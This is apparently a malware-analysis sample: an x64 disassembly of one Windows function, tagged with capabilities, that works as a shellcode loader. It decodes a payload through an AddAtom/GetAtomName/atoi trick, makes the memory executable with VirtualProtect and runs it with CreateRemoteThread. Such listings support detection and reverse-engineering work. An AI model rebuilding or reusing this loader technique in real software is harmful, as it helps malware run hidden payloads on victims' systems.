Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x36d0]
mov eax, 0x37d0
call fcn.140002700
sub rsp, rax
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x3808], rbx
mov qword [rsp + 0x3810], rsi
mov qword [rsp + 0x3818], rdi
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x36c0], rax
mov r8, rcx
mov edx, 0x1b58
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor r13d, r13d
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r13b
lea rax, [rbp]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400010f3
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.140001470
nop
mov r14d, r13d
mov esi, r13d
lea r12, [rbp + 0x1b60]
lea rdi, [rbp]
nop dword [rax]
cmp byte [rdi], 0
je 0x140001223
movsxd rcx, r14d
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rax, qword [rsp + 0x78]
cmp rax, rcx
jb 0x14000134e
add r14d, 4
movsxd r8, r14d
sub rax, rcx
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
add rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.140001470
nop
cmp qword [rsp + 0x58], 4
jb 0x1400012d0
lea rax, [rsp + 0x48]
mov rbx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x60]
cmp r15, 0x10
cmovae rax, rbx
mov eax, dword [rax]
mov dword [rbp - 0x70], eax
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov r8d, 0x32
lea rdx, [rbp - 0x38]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
sub eax, 0x400
btc eax, 0xa
mov byte [r12], al
inc r12
cmp r15, 0x10
jb 0x140001212
lea rdx, [r15 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000120a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400012c9
mov rcx, rbx
call fcn.1400018fc
inc esi
inc rdi
cmp esi, 0x1b58
jb 0x140001120
lea r9, [rbp - 0x78]
mov edx, 0x1b58
mov r8d, 0x40
lea rcx, [rbp + 0x1b60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x1b60]
mov qword [rsp + 0x20], rax
lea r9, [0x140001050]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [0x1400066c8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000131e
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001319
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001319
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140001223
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000130f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000130f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400018fc
jmp 0x140001223
call fcn.1400018fc
mov rcx, qword [rbp + 0x36c0]
xor rcx, rsp
call fcn.140001600
lea r11, [rsp + 0x37d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001450
nop
int3